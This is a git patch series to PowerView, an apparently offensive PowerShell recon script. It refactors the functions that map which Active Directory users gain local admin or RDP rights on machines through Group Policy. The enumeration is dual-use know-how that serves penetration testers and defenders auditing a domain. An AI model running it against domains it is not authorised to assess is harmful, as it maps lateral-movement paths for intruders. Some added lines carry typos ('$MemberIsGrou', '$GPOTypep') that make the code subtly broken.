Find-GPOLocation Added Get-IniContent and rewrote Get-GptTmpl to use Get-IniContent to parse GptTmpl.inf files Rewrote Get-GroupsXML to not resolve SIDs and return the same object type as Get-GptTmpl --- Recon/PowerView.ps1 | 574 +++++++++++++++++++++++++++------------------------- 1 file changed, 293 insertions(+), 281 deletions(-) (limited to 'Recon/PowerView.ps1') diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index dbf2ea7..2922539 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -714,6 +714,57 @@ function struct # ######################################################## +filter Get-IniContent { +<# + .SYNOPSIS + + This helper parses an .ini file into a proper PowerShell object. + + Author: 'The Scripting Guys' + Link: https://blogs.technet.microsoft.com/heyscriptingguy/2011/08/20/use-powershell-to-work-with-any-ini-file/ + + .LINK + + https://blogs.technet.microsoft.com/heyscriptingguy/2011/08/20/use-powershell-to-work-with-any-ini-file/ +#> + [CmdletBinding()] + Param( + [Parameter(Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)] + [Alias('FullName')] + [ValidateScript({ Test-Path -Path $_ })] + [String[]] + $Path + ) + + ForEach($TargetPath in $Path) { + $IniObject = @{} + Switch -Regex -File $TargetPath { + "^\[(.+)\]" # Section + { + $Section = $matches[1].Trim() + $IniObject[$Section] = @{} + $CommentCount = 0 + } + "^(;.*)$" # Comment + { + $Value = $matches[1].Trim() + $CommentCount = $CommentCount + 1 + $Name = 'Comment' + $CommentCount + $IniObject[$Section][$Name] = $Value + } + "(.+?)\s*=(.*)" # Key + { + $Name, $Value = $matches[1..2] + $Name = $Name.Trim() + $Values = $Value.split(',') | ForEach-Object {$_.Trim()} + if($Values -isnot [System.Array]) {$Values = @($Values)} + $IniObject[$Section][$Name] = $Values + } + } + $IniObject + } +} + filter Export-PowerViewCSV { <# .SYNOPSIS @@ -891,8 +942,7 @@ filter Convert-SidToName { # try to resolve any built-in SIDs first # from https://support.microsoft.com/en-us/kb/243330 - Switch ($SID2) - { + Switch ($SID2) { 'S-1-0' { 'Null Authority' } 'S-1-0-0' { 'Nobody' } 'S-1-1' { 'World Authority' } @@ -5989,46 +6039,13 @@ function Get-GptTmpl { else { $TargetGptTmplPath = $GptTmplPath } + Write-Verbose "GptTmplPath: $GptTmplPath" } process { - $SectionName = '' - $SectionsTemp = @{} - $SectionsFinal = @{} - try { Write-Verbose "Parsing $TargetGptTmplPath" - - Get-Content $TargetGptTmplPath -ErrorAction Stop | ForEach-Object { - if ($_ -match '\[') { - # this signifies that we're starting a new section - $SectionName = $_.trim('[]') -replace ' ','' - } - elseif($_ -match '=') { - $Parts = $_.split('=') - $PropertyName = $Parts[0].trim() - $PropertyValues = $Parts[1].trim() - - if($PropertyValues -match ',') { - $PropertyValues = $PropertyValues.split(',') - } - - if(!$SectionsTemp[$SectionName]) { - $SectionsTemp.Add($SectionName, @{}) - } - - # add the parsed property into the relevant Section name - $SectionsTemp[$SectionName].Add( $PropertyName, $PropertyValues ) - } - } - - ForEach ($Section in $SectionsTemp.keys) { - # transform each nested hash table into a custom object - $SectionsFinal[$Section] = New-Object PSObject -Property $SectionsTemp[$Section] - } - - # transform the parent hash table into a custom object - New-Object PSObject -Property $SectionsFinal + $TargetGptTmplPath | Get-IniContent -ErrorAction SilentlyContinue } catch { Write-Verbose "Error parsing $TargetGptTmplPath : $_" @@ -6054,10 +6071,6 @@ function Get-GroupsXML { The groups.xml file path name to parse. - .PARAMETER ResolveSids - - Switch. Resolve Sids from a DC policy to object names. - .PARAMETER UsePSDrive Switch. Mount the target groups.xml folder path as a temporary PSDrive. @@ -6069,9 +6082,6 @@ function Get-GroupsXML { [String] $GroupsXMLPath, - [Switch] - $ResolveSids, - [Switch] $UsePSDrive ) @@ -6105,93 +6115,58 @@ function Get-GroupsXML { process { try { - [xml] $GroupsXMLcontent = Get-Content $TargetGroupsXMLPath -ErrorAction Stop + [XML]$GroupsXMLcontent = Get-Content $TargetGroupsXMLPath -ErrorAction Stop # process all group properties in the XML $GroupsXMLcontent | Select-Xml "//Groups" | Select-Object -ExpandProperty node | ForEach-Object { - $Members = @() - $MemberOf = @() + $Groupname = $_.Group.Properties.groupName # extract the localgroup sid for memberof - $LocalSid = $_.Group.Properties.GroupSid - if(!$LocalSid) { - if($_.Group.Properties.groupName -match 'Administrators') { - $LocalSid = 'S-1-5-32-544' + $GroupSID = $_.Group.Properties.GroupSid + if(-not $LocalSid) { + if($Groupname -match 'Administrators') { + $GroupSID = 'S-1-5-32-544' } - elseif($_.Group.Properties.groupName -match 'Remote Desktop') { - $LocalSid = 'S-1-5-32-555' + elseif($Groupname -match 'Remote Desktop') { + $GroupSID = 'S-1-5-32-555' + } + elseif($Groupname -match 'Guests') { + $GroupSID = 'S-1-5-32-546' } else { - $LocalSid = $_.Group.Properties.groupName + $GroupSID = Convert-NameToSid -ObjectName $Groupname | Select-Object -ExpandProperty SID } } - $MemberOf = @($LocalSid) - - $_.Group.Properties.members | ForEach-Object { - # process each member of the above local group - $_ | Select-Object -ExpandProperty Member | Where-Object { $_.action -match 'ADD' } | ForEach-Object { - if($_.sid) { - $Members += $_.sid - } - else { - # just a straight local account name - $Members += $_.name - } - } + # extract out members added to this group + $Members = $_.Group.Properties.members | Select-Object -ExpandProperty Member | Where-Object { $_.action -match 'ADD' } | ForEach-Object { + if($_.sid) { $_.sid } + else { $_.name } } - if ($Members -or $Memberof) { + if ($Members) { + # extract out any/all filters...I hate you GPP - $Filters = $_.filters | ForEach-Object { - $_ | Select-Object -ExpandProperty Filter* | ForEach-Object { + if($_.Group.filters) { + $Filters = $_.Group.filters.GetEnumerator() | ForEach-Object { New-Object -TypeName PSObject -Property @{'Type' = $_.LocalName;'Value' = $_.name} } } - - if($ResolveSids) { - $Memberof = $Memberof | ForEach-Object { - $memof = $_ - if ($memof.StartsWith("S-1-")){ - try { - Convert-SidToName $memof - } - catch { - $memof - } - } - else { - $memof - } - } - $Members= $Members | ForEach-Object { - $member = $_ - if ($member.StartsWith("S-1-")) { - try { - Convert-SidToName $member - } - catch { - $member - } - } - else { - $member - } - } + else { + $Filters = $Null } - if($Memberof -isnot [system.array]) {$Memberof = @($Memberof)} - if($Members -isnot [system.array]) {$Members = @($Members)} + if($Members -isnot [System.Array]) { $Members = @($Members) } - $GPOProperties = @{ - 'GPOPath' = $TargetGroupsXMLPath - 'Filters' = $Filters - 'MemberOf' = $Memberof - 'Members' = $Members - } - - New-Object -TypeName PSObject -Property $GPOProperties + $GPOGroup = New-Object PSObject + $GPOGroup | Add-Member Noteproperty 'GPOPath' $TargetGroupsXMLPath + $GPOGroup | Add-Member Noteproperty 'Filters' $Filters + $GPOGroup | Add-Member Noteproperty 'GroupName' $GroupName + $GPOGroup | Add-Member Noteproperty 'GroupSID' $GroupSID + $GPOGroup | Add-Member Noteproperty 'GroupMemberOf' $Null + $GPOGroup | Add-Member Noteproperty 'GroupMembers' $Members + $GPOGroup } } } @@ -6613,8 +6588,7 @@ function Get-NetGPOGroup { <# .SYNOPSIS - Returns all GPOs in a domain that set "Restricted Groups" - or use groups.xml on on target machines. + Returns all GPOs in a domain that set "Restricted Groups" or use groups.xml on on target machines. .PARAMETER GPOname @@ -6624,10 +6598,6 @@ function Get-NetGPOGroup { The GPO display name to query for, wildcards accepted. - .PARAMETER ResolveSids - - Switch. Resolve Sids from a DC policy to object names. - .PARAMETER Domain The domain to query for GPOs, defaults to the current domain. @@ -6638,22 +6608,26 @@ function Get-NetGPOGroup { .PARAMETER ADSpath - The LDAP source to search through + The LDAP source to search through for GPOs. e.g. "LDAP://cn={8FF59D28-15D7-422A-BCB7-2AE45724125A},cn=policies,cn=system,DC=dev,DC=testlab,DC=local" - .PARAMETER PageSize + .PARAMETER ResolveMemberSIDs - The PageSize to set for the LDAP searcher object. + Switch. Try to resolve the SIDs of all found group members. .PARAMETER UsePSDrive Switch. Mount any found policy files with temporary PSDrives. + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + .EXAMPLE PS C:\> Get-NetGPOGroup - Get all GPOs that set local groups on the current domain. + Returns all local groups set by GPO along with their members and memberof. #> [CmdletBinding()] @@ -6664,9 +6638,6 @@ function Get-NetGPOGroup { [String] $DisplayName, - [Switch] - $ResolveSids, - [String] $Domain, @@ -6676,6 +6647,9 @@ function Get-NetGPOGroup { [String] $ADSpath, + [Switch] + $ResolveMemberSIDs, + [Switch] $UsePSDrive, @@ -6684,11 +6658,11 @@ function Get-NetGPOGroup { $PageSize = 200 ) + $Option = [System.StringSplitOptions]::RemoveEmptyEntries + # get every GPO from the specified domain with restricted groups set Get-NetGPO -GPOName $GPOname -DisplayName $GPOname -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize | ForEach-Object { - $Memberof = $Null - $Members = $Null $GPOdisplayName = $_.displayname $GPOname = $_.name $GPOPath = $_.gpcfilesyspath @@ -6701,58 +6675,108 @@ function Get-NetGPOGroup { # parse the GptTmpl.inf 'Restricted Groups' file if it exists $Inf = Get-GptTmpl @ParseArgs - if($Inf.GroupMembership) { + if($Inf -and ($Inf.psbase.Keys -contains 'Group Membership')) { - $Memberof = $Inf.GroupMembership | Get-Member *Memberof | ForEach-Object { $Inf.GroupMembership.($_.name) } | ForEach-Object { $_.trim('*') } - $Members = $Inf.GroupMembership | Get-Member *Members | ForEach-Object { $Inf.GroupMembership.($_.name) } | ForEach-Object { $_.trim('*') } + $Memberships = @{} - if(!$Members) { - try { - $MembersRaw = $Inf.GroupMembership | Get-Member *Members | Select-Object -ExpandProperty Name - $Members = ($MembersRaw -split "__")[0].trim("*") - } - catch { - $MembersRaw = '' - } - } + # group the members/memberof fields for each entry + ForEach ($Membership in $Inf.'Group Membership'.GetEnumerator()) { + $Group, $Relation = $Membership.Key.Split('__', $Option) | ForEach-Object {$_.Trim()} - if(!$Memberof) { - try { - $MemberofRaw = $Inf.GroupMembership | Get-Member *Memberof | Select-Object -ExpandProperty Name - $Memberof = ($MemberofRaw -split "__")[0].trim("*") + $MembershipValue = $Membership.Value.Split(',') | ForEach-Object { $_.Trim('*') } | Where-Object {$_} + if($MembershipValue -isnot [System.Array]) { $MembershipValue = @($MembershipValue) } + + if($ResolveMemberSIDs) { + $GroupMembers = @() + ForEach($Member in $MembershipValue) { + Write-Verbose "Member: $Member" + if($Member -notmatch '^S-1-.*') { + $MemberSID = Convert-NameToSid -ObjectName $Member | Select-Object -ExpandProperty SID + if($MemberSID) { + $GroupMembers += $MemberSID + } + else { + $GroupMembers += $Member + } + } + else { + $GroupMembers += $Member + } + } + $MembershipValue = $GroupMembers } - catch { - $Memberof = '' + + if(-not $Memberships[$Group]) { + $Memberships[$Group] = @{} } + $Memberships[$Group].Add($Relation, $MembershipValue) } - if($ResolveSids) { - $Memberof = $Memberof | ForEach-Object { Convert-SidToName $_ } - $Members = $Members | ForEach-Object { Convert-SidToName $_ } - } + ForEach ($Membership in $Memberships.GetEnumerator()) { + if($Membership.Key -match '^\*') { + # if the SID is already resolved, try to resolve SID to a name + $GroupSID = $Membership.Key.Trim('*') + $GroupName = Convert-SidToName -SID $GroupSID + } + else { + $GroupName = $Membership.Key - if($Memberof -isnot [System.Array]) {$Memberof = @($Memberof)} - if($Members -isnot [System.Array]) {$Members = @($Members)} + if($Groupname -match 'Administrators') { + $GroupSID = 'S-1-5-32-544' + } + elseif($Groupname -match 'Remote Desktop') { + $GroupSID = 'S-1-5-32-555' + } + elseif($Groupname -match 'Guests') { + $GroupSID = 'S-1-5-32-546' + } + else { + $GroupSID = Convert-NameToSid -ObjectName $Groupname | Select-Object -ExpandProperty SID + } + } - $GPOProperties = @{ - 'GPODisplayName' = $GPODisplayName - 'GPOName' = $GPOName - 'GPOPath' = $GPOPath - 'Filters' = $Null - 'MemberOf' = $Memberof - 'Members' = $Members + $GPOGroup = New-Object PSObject + $GPOGroup | Add-Member Noteproperty 'GPODisplayName' $GPODisplayName + $GPOGroup | Add-Member Noteproperty 'GPOName' $GPOName + $GPOGroup | Add-Member Noteproperty 'GPOPath' $GPOPath + $GPOGroup | Add-Member Noteproperty 'Filters' $Null + $GPOGroup | Add-Member Noteproperty 'GroupName' $GroupName + $GPOGroup | Add-Member Noteproperty 'GroupSID' $GroupSID + $GPOGroup | Add-Member Noteproperty 'GroupMemberOf' $Membership.Value.Memberof + $GPOGroup | Add-Member Noteproperty 'GroupMembers' $Membership.Value.Members + $GPOGroup } - - New-Object -TypeName PSObject -Property $GPOProperties } $ParseArgs = @{ 'GroupsXMLpath' = "$GPOPath\MACHINE\Preferences\Groups\Groups.xml" - 'ResolveSids' = $ResolveSids 'UsePSDrive' = $UsePSDrive } - Get-GroupsXML @ParseArgs + Get-GroupsXML @ParseArgs | ForEach-Object { + if($ResolveMemberSIDs) { + $GroupMembers = @() + ForEach($Member in $_.GroupMembers) { + if($Member -notmatch '^S-1-.*') { + $MemberSID = Convert-NameToSid -ObjectName $Member | Select-Object -ExpandProperty SID + if($MemberSID) { + $GroupMembers += $MemberSID + } + else { + $GroupMembers += $Member + } + } + else { + $GroupMembers += $Member + } + } + $_.GroupMembers = $GroupMembers + } + + $_ | Add-Member Noteproperty 'GPODisplayName' $GPODisplayName + $_ | Add-Member Noteproperty 'GPOName' $GPOName + $_ + } } } @@ -6766,12 +6790,12 @@ function Find-GPOLocation { (or RDP) rights to. It does this by: - 1. resolving the user/group to its proper sid + 1. resolving the user/group to its proper SID 2. enumerating all groups the user/group is a current part of and extracting all target SIDs to build a target SID list - 3. pulling all GPOs that set 'Restricted Groups' by calling + 3. pulling all GPOs that set 'Restricted Groups' or Groups.xml by calling Get-NetGPOGroup - 4. matching the target sid list to the queried GPO SID list + 4. matching the target SID list to the queried GPO SID list to enumerate all GPO the user is effectively applied with 5. enumerating all OUs and sites and applicable GPO GUIs are applied to through gplink enumerating @@ -6862,9 +6886,9 @@ function Find-GPOLocation { Throw "User '$UserName' not found!" } - $TargetSid = $UserSid + $TargetSIDs = @($UserSid) $ObjectSamAccountName = $User.samaccountname - $TargetObjects = $UserSid + $TargetObject = $UserSid } elseif($GroupName) { @@ -6875,149 +6899,139 @@ function Find-GPOLocation { Throw "Group '$GroupName' not found!" } - $TargetSid = $GroupSid + $TargetSIDs = @($GroupSid) $ObjectSamAccountName = $Group.samaccountname - $TargetObjects = $GroupSid + $TargetObject = $GroupSid } else { - $TargetSid = '*' + $TargetSIDs = @('*') } if($LocalGroup -like "*Admin*") { - $LocalSID = 'S-1-5-32-544' + $TargetLocalSID = 'S-1-5-32-544' } elseif ( ($LocalGroup -like "*RDP*") -or ($LocalGroup -like "*Remote*") ) { - $LocalSID = 'S-1-5-32-555' + $TargetLocalSID = 'S-1-5-32-555' } elseif ($LocalGroup -like "S-1-5-*") { - $LocalSID = $LocalGroup + $TargetLocalSID = $LocalGroup } else { - throw "LocalGroup must be 'Administrators', 'RDP', or a 'S-1-5-X' type sid." + throw "LocalGroup must be 'Administrators', 'RDP', or a 'S-1-5-X' SID format." } - Write-Verbose "LocalSid: $LocalSID" - Write-Verbose "TargetSid: $TargetSid" - - if($TargetSid -ne '*') { - if($TargetSid -isnot [System.Array]) { $TargetSid = @($TargetSid) } - + if($TargetSIDs[0] -and ($TargetSIDs[0] -ne '*')) { # use the tokenGroups approach from Get-NetGroup to get all effective security SIDs this object is a part of - $TargetSid += Get-NetGroup -Domain $Domain -DomainController $DomainController -PageSize $PageSize -UserName $ObjectSamAccountName -RawSids + $TargetSIDs += Get-NetGroup -Domain $Domain -DomainController $DomainController -PageSize $PageSize -UserName $ObjectSamAccountName -RawSids + } - if($TargetSid -isnot [System.Array]) { [System.Array]$TargetSid = [System.Array]@($TargetSid) } + if(-not $TargetSIDs) { + throw "No effective target SIDs!" } - Write-Verbose "Effective target sids: $TargetSid" + Write-Verbose "TargetLocalSID: $TargetLocalSID" + Write-Verbose "Effective target SIDs: $TargetSIDs" $GPOGroupArgs = @{ 'Domain' = $Domain 'DomainController' = $DomainController 'UsePSDrive' = $UsePSDrive + 'ResolveMemberSIDs' = $True 'PageSize' = $PageSize } - # get all GPO groups, and filter on ones that match our target SID list and match the target local sid memberof list $GPOgroups = Get-NetGPOGroup @GPOGroupArgs | ForEach-Object { - if ($_.members) { - $_.members = $_.members | Where-Object {$_} | ForEach-Object { - if($_ -match '^S-1-.*') { - $_ - } - else { - # if there are any plain group names, try to resolve them to sids - (Convert-NameToSid -ObjectName $_ -Domain $Domain).SID - } - } | Sort-Object -Unique - # stop PowerShell 2.0's string stupid unboxing - if($_.members -isnot [System.Array]) { $_.members = @($_.members) } - if($_.memberof -isnot [System.Array]) { $_.memberof = @($_.memberof) } + $GPOgroup = $_ - # check if the memberof contains the sid of the local account we're searching for - Write-Verbose "memberof: $($_.memberof)" - if ($_.memberof -contains $LocalSid) { - # check if there's an overlap between the members field and the set of target sids if $TargetSid = *, then return all results - if ( ($TargetSid -eq '*') -or ($_.members | Where-Object {$_} | Where-Object { $TargetSid -Contains $_ })) { - $_ + # if the locally set group is what we're looking for or the locally set group is a + # member of what we're looking for, check the GroupMembers for our target SID + if( ($GPOgroup.GroupSID -match $TargetLocalSID) -or ($GPOgroup.GroupMemberOf -contains $TargetLocalSID) ) { + $GPOgroup.GroupMembers | Where-Object {$_} | ForEach-Object { + if ( ($TargetSIDs[0] -eq '*') -or ($TargetSIDs -Contains $_) ) { + $GPOgroup } } } - } - - $ProcessedGUIDs = @{} + } | Sort-Object -Property GPOName -Unique - # process the matches and build the result objects - $GPOgroups | Where-Object {$_} | ForEach-Object { + $GPOgroups | ForEach-Object { + $GPOname = $_.GPODisplayName $GPOguid = $_.GPOName - $GPOMembers = $_.Members + $GPOPath = $_.GPOPath + $GPOMembers = $_.GroupMembers + $Filters = $_.Filters - if(!$TargetObjects) { - # if the * wildcard was used, set the ObjectDistName as the GPO member sid set - $TargetObjects = $GPOMembers + if(-not $TargetObject) { + # if the * wildcard was used, set the ObjectDistName as the GPO member SID set + $TargetObject = $GPOMembers } - if( -not $ProcessedGUIDs[$GPOguid] ) { - $GPOname = $_.GPODisplayName - $Filters = $_.Filters + if($GPOName -match 'Groups.xml') { + $GPOType = 'GroupPolicyPreferences' + } + else { + $GPOType = 'RestrictedGroups' + } - # find any OUs that have this GUID applied and then retrieve any computers from the OU - Get-NetOU -Domain $Domain -DomainController $DomainController -GUID $GPOguid -FullData -PageSize $PageSize | ForEach-Object { + # find any OUs that have this GUID applied and then retrieve any computers from the OU + Get-NetOU -Domain $Domain -DomainController $DomainController -GUID $GPOguid -FullData -PageSize $PageSize | ForEach-Object { + if($Filters) { + # filter for computer name/org unit if a filter is specified + # TODO: handle other filters (i.e. OU filters?) + $OUComputers = Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $_.ADSpath -FullData -PageSize $PageSize | Where-Object { + $_.adspath -match ($Filters.Value) + } | ForEach-Object { $_.dnshostname } + } + else { + $OUComputers = Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $_.ADSpath -PageSize $PageSize + } - if($Filters) { - # filter for computer name/org unit if a filter is specified - # TODO: handle other filters? - $OUComputers = Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $_.ADSpath -FullData -PageSize $PageSize | Where-Object { - $_.adspath -match ($Filters.Value) - } | ForEach-Object { $_.dnshostname } - } - else { - $OUComputers = Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $_.ADSpath -PageSize $PageSize - } + if($OUComputers -isnot [System.Array]) {$OUComputers = @($OUComputers)} - ForEach ($TargetSid in $TargetObjects) { + ForEach ($TargetSid in $TargetObject) { - $Object = Get-ADObject -SID $TargetSid -Domain $Domain -DomainController $DomainController $_ -PageSize $PageSize + $Object = Get-ADObject -SID $TargetSid -Domain $Domain -DomainController $DomainController $_ -PageSize $PageSize - $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype + $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype - $GPOLocation = New-Object PSObject - $GPOLocation | Add-Member Noteproperty 'ObjectName' $Object.samaccountname - $GPOLocation | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname - $GPOLocation | Add-Member Noteproperty 'ObjectSID' $Object.objectsid - $GPOLocation | Add-Member Noteproperty 'IsGroup' $IsGroup - $GPOLocation | Add-Member Noteproperty 'GPOname' $GPOname - $GPOLocation | Add-Member Noteproperty 'GPOguid' $GPOguid - $GPOLocation | Add-Member Noteproperty 'ContainerName' $_.distinguishedname - $GPOLocation | Add-Member Noteproperty 'Computers' $OUComputers - $GPOLocation - } + $GPOLocation = New-Object PSObject + $GPOLocation | Add-Member Noteproperty 'ObjectName' $Object.samaccountname + $GPOLocation | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname + $GPOLocation | Add-Member Noteproperty 'ObjectSID' $Object.objectsid + $GPOLocation | Add-Member Noteproperty 'IsGroup' $IsGroup + $GPOLocation | Add-Member Noteproperty 'GPODisplayName' $GPOname + $GPOLocation | Add-Member Noteproperty 'GPOGuid' $GPOGuid + $GPOLocation | Add-Member Noteproperty 'GPOPath' $GPOPath + $GPOLocation | Add-Member Noteproperty 'GPOType' $GPOType + $GPOLocation | Add-Member Noteproperty 'ContainerName' $_.distinguishedname + $GPOLocation | Add-Member Noteproperty 'ComputerName' $OUComputers + $GPOLocation } + } - # find any sites that have this GUID applied - Get-NetSite -Domain $Domain -DomainController $DomainController -GUID $GPOguid -PageSize $PageSize -FullData | ForEach-Object { + # find any sites that have this GUID applied + Get-NetSite -Domain $Domain -DomainController $DomainController -GUID $GPOguid -PageSize $PageSize -FullData | ForEach-Object { - ForEach ($TargetSid in $TargetObjects) { - $Object = Get-ADObject -SID $TargetSid -Domain $Domain -DomainController $DomainController $_ -PageSize $PageSize + ForEach ($TargetSid in $TargetObject) { + $Object = Get-ADObject -SID $TargetSid -Domain $Domain -DomainController $DomainController $_ -PageSize $PageSize - $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype + $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype - $AppliedSite = New-Object PSObject - $AppliedSite | Add-Member Noteproperty 'ObjectName' $Object.samaccountname - $AppliedSite | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname - $AppliedSite | Add-Member Noteproperty 'ObjectSID' $Object.objectsid - $AppliedSite | Add-Member Noteproperty 'IsGroup' $IsGroup - $AppliedSite | Add-Member Noteproperty 'GPOname' $GPOname - $AppliedSite | Add-Member Noteproperty 'GPOguid' $GPOguid - $AppliedSite | Add-Member Noteproperty 'ContainerName' $_.distinguishedname - $AppliedSite | Add-Member Noteproperty 'Computers' $_.siteobjectbl - $AppliedSite - } + $AppliedSite = New-Object PSObject + $AppliedSite | Add-Member Noteproperty 'ObjectName' $Object.samaccountname + $AppliedSite | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname + $AppliedSite | Add-Member Noteproperty 'ObjectSID' $Object.objectsid + $AppliedSite | Add-Member Noteproperty 'IsGroup' $IsGroup + $AppliedSite | Add-Member Noteproperty 'GPODisplayName' $GPOname + $AppliedSite | Add-Member Noteproperty 'GPOGuid' $GPOGuid + $AppliedSite | Add-Member Noteproperty 'GPOPath' $GPOPath + $AppliedSite | Add-Member Noteproperty 'GPOType' $GPOType + $AppliedSite | Add-Member Noteproperty 'ContainerName' $_.distinguishedname + $AppliedSite | Add-Member Noteproperty 'ComputerName' $_.siteobjectbl + $AppliedSite } - - # mark off this GPO GUID so we don't process it again if there are dupes - $ProcessedGUIDs[$GPOguid] = $True } } } @@ -7152,7 +7166,7 @@ function Find-GPOComputerAdmin { $GPOGroupArgs = @{ 'Domain' = $Domain 'DomainController' = $DomainController - 'ADSpath' = $_ + 'ResolveMemberSIDs' = $True 'UsePSDrive' = $UsePSDrive 'PageSize' = $PageSize } @@ -7184,33 +7198,27 @@ function Find-GPOComputerAdmin { $GPOGroupArgs = @{ 'Domain' = $Domain 'DomainController' = $DomainController - 'ADSpath' = $_ 'UsePSDrive' = $UsePSDrive + 'ResolveMemberSIDs' = $True 'PageSize' = $PageSize } - # for each GPO link, get any locally set user/group SIDs Get-NetGPOGroup @GPOGroupArgs } } # for each found GPO group, resolve the SIDs of the members - $GPOgroups | Where-Object {$_} | ForEach-Object { - $GPO = $_ + $GPOgroups | Sort-Object -Property GPOName -Unique | ForEach-Object { + $GPOGroup = $_ - if ($GPO.members) { - $GPO.members = $GPO.members | Where-Object {$_} | ForEach-Object { - if($_ -match '^S-1-.*') { - $_ - } - else { - # if there are any plain group names, try to resolve them to sids - (Convert-NameToSid -ObjectName $_ -Domain $Domain).SID - } - } | Sort-Object -Unique + if($GPOGroup.GPOPath -match 'Groups.xml') { + $GPOType = 'GroupPolicyPreferences' + } + else { + $GPOType = 'RestrictedGroups' } - $GPO.members | ForEach-Object { + $GPOGroup.GroupMembers | ForEach-Object { # resolve this SID to a domain object $Object = Get-ADObject -Domain $Domain -DomainController $DomainController -PageSize $PageSize -SID $_ @@ -7219,12 +7227,14 @@ function Find-GPOComputerAdmin { $GPOComputerAdmin = New-Object PSObject $GPOComputerAdmin | Add-Member Noteproperty 'ComputerName' $ComputerName - $GPOComputerAdmin | Add-Member Noteproperty 'GPODisplayName' $GPO.GPODisplayName - $GPOComputerAdmin | Add-Member Noteproperty 'GPOPath' $GPO.GPOPath $GPOComputerAdmin | Add-Member Noteproperty 'ObjectName' $Object.samaccountname $GPOComputerAdmin | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname $GPOComputerAdmin | Add-Member Noteproperty 'ObjectSID' $_ $GPOComputerAdmin | Add-Member Noteproperty 'IsGroup' $IsGroup + $GPOComputerAdmin | Add-Member Noteproperty 'GPODisplayName' $GPOGroup.GPODisplayName + $GPOComputerAdmin | Add-Member Noteproperty 'GPOGuid' $GPOGroup.GPOName + $GPOComputerAdmin | Add-Member Noteproperty 'GPOPath' $GPOGroup.GPOPath + $GPOComputerAdmin | Add-Member Noteproperty 'GPOType' $GPOType $GPOComputerAdmin # if we're recursing and the current result object is a group @@ -7256,12 +7266,14 @@ function Find-GPOComputerAdmin { $GPOComputerAdmin = New-Object PSObject $GPOComputerAdmin | Add-Member Noteproperty 'ComputerName' $ComputerName - $GPOComputerAdmin | Add-Member Noteproperty 'GPODisplayName' $GPO.GPODisplayName - $GPOComputerAdmin | Add-Member Noteproperty 'GPOPath' $GPO.GPOPath $GPOComputerAdmin | Add-Member Noteproperty 'ObjectName' $MemberName $GPOComputerAdmin | Add-Member Noteproperty 'ObjectDN' $MemberDN $GPOComputerAdmin | Add-Member Noteproperty 'ObjectSID' $_.objectsid - $GPOComputerAdmin | Add-Member Noteproperty 'IsGroup' $MemberIsGroup + $GPOComputerAdmin | Add-Member Noteproperty 'IsGroup' $MemberIsGrou + $GPOComputerAdmin | Add-Member Noteproperty 'GPODisplayName' $GPOGroup.GPODisplayName + $GPOComputerAdmin | Add-Member Noteproperty 'GPOGuid' $GPOGroup.GPOName + $GPOComputerAdmin | Add-Member Noteproperty 'GPOPath' $GPOGroup.GPOPath + $GPOComputerAdmin | Add-Member Noteproperty 'GPOType' $GPOTypep $GPOComputerAdmin } } @@ -10496,7 +10508,7 @@ function Invoke-EventHunter { elseif($UserName) { # Write-Verbose "[*] Using target user '$UserName'..." $TargetUsers = $UserName | ForEach-Object {$_.ToLower()} - if($TargetUsers -isnot [system.array]) { + if($TargetUsers -isnot [System.Array]) { $TargetUsers = @($TargetUsers) } } @@ -12990,7 +13002,7 @@ function Invoke-MapDomainTrust { $Trusts = Get-NetDomainTrust -Domain $Domain -PageSize $PageSize -Credential $Credential } - if($Trusts -isnot [system.array]) { + if($Trusts -isnot [System.Array]) { $Trusts = @($Trusts) } -- cgit v1.2.3 From b6306a0d8c356d23a00a8fb2288683bffa2b492c Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Mon, 6 Jun 2016 21:37:36 -0400 Subject: Small bug fix in Find-GPOLocation when enumerating all relationships Moved GPOType check to Get-NetGPOGroup Expanded comments and help for GPO location cmdlets --- Recon/PowerView.ps1 | 108 ++++++++++++++++++++++++++++++++++++++-------------- 1 file changed, 79 insertions(+), 29 deletions(-) (limited to 'Recon/PowerView.ps1') diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 2922539..a75a950 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -6590,6 +6590,20 @@ function Get-NetGPOGroup { Returns all GPOs in a domain that set "Restricted Groups" or use groups.xml on on target machines. + Author: @harmj0y + License: BSD 3-Clause + Required Dependencies: Get-NetGPO, Get-GptTmpl, Get-GroupsXML, Convert-NameToSid, Convert-SidToName + Optional Dependencies: None + + .DESCRIPTION + + First enumerates all GPOs in the current/target domain using Get-NetGPO with passed + arguments, and for each GPO checks if 'Restricted Groups' are set with GptTmpl.inf or + group membership is set through Group Policy Preferences groups.xml files. For any + GptTmpl.inf files found, the file is parsed with Get-GptTmpl and any 'Group Membership' + section data is processed if present. Any found Groups.xml files are parsed with + Get-GroupsXML and those memberships are returned as well. + .PARAMETER GPOname The GPO name to query for, wildcards accepted. @@ -6628,6 +6642,10 @@ function Get-NetGPOGroup { PS C:\> Get-NetGPOGroup Returns all local groups set by GPO along with their members and memberof. + + .LINK + + https://morgansimonsenblog.azurewebsites.net/tag/groups/ #> [CmdletBinding()] @@ -6683,13 +6701,14 @@ function Get-NetGPOGroup { ForEach ($Membership in $Inf.'Group Membership'.GetEnumerator()) { $Group, $Relation = $Membership.Key.Split('__', $Option) | ForEach-Object {$_.Trim()} + # extract out ALL members $MembershipValue = $Membership.Value.Split(',') | ForEach-Object { $_.Trim('*') } | Where-Object {$_} 